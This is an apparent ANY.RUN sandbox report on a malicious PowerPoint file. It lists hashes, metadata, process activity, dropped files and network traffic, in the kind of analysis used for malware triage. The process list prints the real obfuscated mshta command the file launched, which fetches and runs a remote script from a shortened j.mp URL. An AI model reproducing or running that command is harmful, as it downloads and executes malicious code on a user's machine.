File name:

file.ppt

Full analysis: https://app.any.run/tasks/636b8711-c0ed-4064-9515-f8fb23777cca
Verdict: Malicious activity
Analysis date: July 02, 2023, 02:21:42
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ppt
Indicators:
MIME: application/vnd.ms-powerpoint
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: yazeed, Keywords: maviya, Last Saved By: Master Mana, Revision Number: 4, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 22:02, Create Time/Date: Wed Feb 24 17:17:23 2021, Last Saved Time/Date: Wed Feb 24 17:39:25 2021, Number of Words: 0
MD5:

1DADB4C3FE45566D28B7156BE2E2AA6B

SHA1:

53FECB422D1B1663E4A9AEC9F5A3A020E818A6F9

SHA256:

0289EE3C551BA84D34AB1760D042AB420733D96DBFEDFAE9718F8EB138C3259B

SSDEEP:

1536:FslfQ+C4xIytrmsKemd8JkpuJFeOMn63nMq5Z+av1Dc3Y:FsV7rmsKemuJkpuJtE6cq5BpmY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from MS Office

      • POWERPNT.EXE (PID: 3080)

  • SUSPICIOUS

    • Reads the Internet Settings

      • mshta.exe (PID: 2120)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 2120)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 2120)

    • Manual execution by a user

      • POWERPNT.EXE (PID: 2092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.ppt | Microsoft PowerPoint document (79.7)

EXIF

FlashPix

HeadingPairs:
  • Fonts Used
  • 3
  • Theme
  • 1
  • Slide Titles
  • 0
TitleOfParts:
  • Arial
  • Calibri
  • Calibri Light
  • Office Theme
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
MMClips: -
HiddenSlides: -
Notes: -
Slides: -
Paragraphs: -
Bytes: -
PresentationTarget: Widescreen
CodePage: Windows Latin 1 (Western European)
ThumbnailClip: (Binary data 43336 bytes, use -b option to extract)
Words: -
ModifyDate: 2021:02:24 17:39:25
CreateDate: 2021:02:24 17:17:23
TotalEditTime: 22.0 minutes
Software: Microsoft Office PowerPoint
RevisionNumber: 4
LastModifiedBy: Master Mana
Keywords: maviya
Author: yazeed
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powerpnt.exe no specs mshta.exe winword.exe no specs ping.exe no specs powerpnt.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
976winwordC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
2092"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\admin\Desktop\file.ppt"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft PowerPoint
Exit code:
0
Version:
14.0.6009.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\program files\microsoft office\office14\powerpnt.exe
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\ppcore.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2120mSHtA http://12384928198391823%12384928198391823@j.mp/hdkjashdkasbctdgjsaC:\Windows\System32\mshta.exe
POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\rpcrt4.dll
2776pingC:\Windows\System32\PING.EXE—POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\nsi.dll
c:\windows\system32\winnsi.dll
3080"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\admin\Desktop\file.ppt"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft PowerPoint
Exit code:
0
Version:
14.0.6009.1000
Modules
Images
c:\program files\microsoft office\office14\powerpnt.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\ppcore.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
Total events
7 970
Read events
7 433
Write events
397
Delete events
140

Modification events

(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1055
Value:
On
Executable files
1
Suspicious files
11
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
3080POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\CVRE9E0.tmp.cvr —
MD5:—
SHA256:—
976WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1499.tmp.cvr —
MD5:—
SHA256:—
2092POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\CVR88DF.tmp.cvr —
MD5:—
SHA256:—
3080POWERPNT.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\file.ppt.LNKbinary
MD5:34071E957A1B993AFAB5B0855A60E7D7
SHA256:41C9F5D42156DEBE4245B8597C8CFBCF984C8394C7F9FA78DDEDC985B7A86AB2
3080POWERPNT.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:81309006744EBD351443E37F0A29AE8C
SHA256:52629E63EB5FFAAD52F9CCC9F902EB7F267833443E74740D43BCDD2941F47B93
976WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:0DA6D3F37FA1419BA6615692FCF483B7
SHA256:5509E2F3DD31A31E5095AA63B1F243C6E59DE331B070BAD701494B9C8F88E208
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894binary
MD5:CF2AC8B7A88D5CE752657FA39BF70EAF
SHA256:DC18CC2F5735E948165269A1366F15258A07F1712F68687BAB1EF8756A25FFF0
2120mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\53B03BEE40C746E8FC70731BA2B6902C0FA65CEA[1].svgimage
MD5:2ECED47F0F8EB035C459A73435CF8EE7
SHA256:02C9E3DF5FA43BB01B9B702F1F6BDA697B946DA1D516699A92388BFC6E5CAD2E
2120mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\hdkjashdkasbctdgjsa[1].htmhtml
MD5:200236D7F156A9F504D9A7813B132812
SHA256:CB67CCBC6A6EC014FE2CAD4BA9C8E57974B97A57F3A74969602577AC515E80F2
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62binary
MD5:CFBEEA785CE6B9BE1CBF93F4E12F8378
SHA256:AB2E7E01BAD6132E58B9D627A9B405FFE4D8960BD6CFECF7107A0FB29187D788
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
18
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
mshta.exe
GET
200
67.199.248.16:80
http://j.mp/hdkjashdkasbctdgjsa
US
html
5.40 Kb
shared
2120
mshta.exe
GET
200
67.27.157.126:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?200ee62a7b758905
US
compressed
4.70 Kb
whitelisted
2120
mshta.exe
GET
200
52.222.250.185:80
http://ocsp.rootg2.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D
US
der
1.51 Kb
whitelisted
2120
mshta.exe
GET
200
108.138.2.195:80
http://o.ss2.us//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D
US
der
2.02 Kb
whitelisted
2120
mshta.exe
GET
200
52.222.250.42:80
http://ocsp.rootca1.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEjgLnWaIozse2b%2BczaaODg8%3D
US
der
1.39 Kb
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
2120
mshta.exe
67.199.248.16:80
j.mp
GOOGLE-CLOUD-PLATFORM
US
shared
2120
mshta.exe
52.222.206.51:443
d1ayxb9ooonjts.cloudfront.net
AMAZON-02
US
suspicious
2120
mshta.exe
67.27.157.126:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious
2120
mshta.exe
52.222.250.185:80
ocsp.rootg2.amazontrust.com
AMAZON-02
US
whitelisted
2120
mshta.exe
108.138.2.195:80
o.ss2.us
AMAZON-02
US
unknown
2120
mshta.exe
8.238.30.126:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious
2120
mshta.exe
52.222.250.42:80
ocsp.rootg2.amazontrust.com
AMAZON-02
US
whitelisted
2904
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.17
  • 67.199.248.16
shared
d1ayxb9ooonjts.cloudfront.net
  • 52.222.206.51
  • 52.222.206.102
  • 52.222.206.121
  • 52.222.206.105
whitelisted
ctldl.windowsupdate.com
  • 67.27.157.126
  • 8.238.30.126
  • 67.27.233.254
  • 67.26.75.254
  • 8.248.113.254
whitelisted
o.ss2.us
  • 108.138.2.195
  • 108.138.2.10
  • 108.138.2.173
  • 108.138.2.107
whitelisted
ocsp.rootg2.amazontrust.com
  • 52.222.250.185
  • 52.222.250.174
  • 52.222.250.42
  • 52.222.250.112
whitelisted
ocsp.rootca1.amazontrust.com
  • 52.222.250.42
  • 52.222.250.112
  • 52.222.250.174
  • 52.222.250.185
shared

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
file.ppt